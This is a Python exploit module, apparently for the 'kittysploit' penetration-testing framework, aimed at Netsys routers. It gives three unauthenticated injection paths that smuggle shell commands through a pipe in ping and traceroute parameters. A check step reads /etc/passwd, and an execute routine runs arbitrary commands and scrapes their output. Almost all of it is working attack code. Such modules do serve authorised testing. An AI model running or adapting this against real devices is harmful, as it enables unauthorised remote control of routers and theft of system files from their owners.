Netsys Multi RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netsys Multi RCE"""


import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Netsys Multi RCE',
        'description': 'Exploits Netsys multiple remote command execution vulnerabilities that allows executing commands on operating system level.',
        'author': ['admin', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://bbs.00wz.top/forum.php?mod=viewthread&tid=12630'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(9090, "Target HTTP port")

    _injections = (
        "/view/IPV6/ipv6networktool/traceroute/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}",
        "/view/systemConfig/systemTool/ping/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}",
        "/view/systemConfig/systemTool/traceRoute/traceroute.php?text_target=127.0.0.1&text_ageout=2&text_minttl=1&text_maxttl=1|{}",
    )

    def __init__(self, framework=None):
        super().__init__(framework)
        self.valid = None

    def execute(self, cmd):
        marker = self.random_text(16)
        cmd = cmd.replace(" ", "+")
        payload = "echo+{};{};echo+{};".format(marker, cmd, marker)

        path = self.valid.format(payload)
        response = self.http_request(
            method="GET",
            path=path
        )
        if response is None:
            return ""

        regexp = "{}(.+?){}".format(marker, marker)
        res = re.findall(regexp, response.text, re.DOTALL)

        if len(res):
            return res[0]

        return ""
    def check(self):
        cmd = "cat+/etc/passwd;"

        for injection in self._injections:
            path = injection.format(cmd)

            response = self.http_request(
                method="GET",
                path=path
            )
            if response is None:
                continue

            if ("/etc/passwd" in (response.text or '')):
                self.valid = injection
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()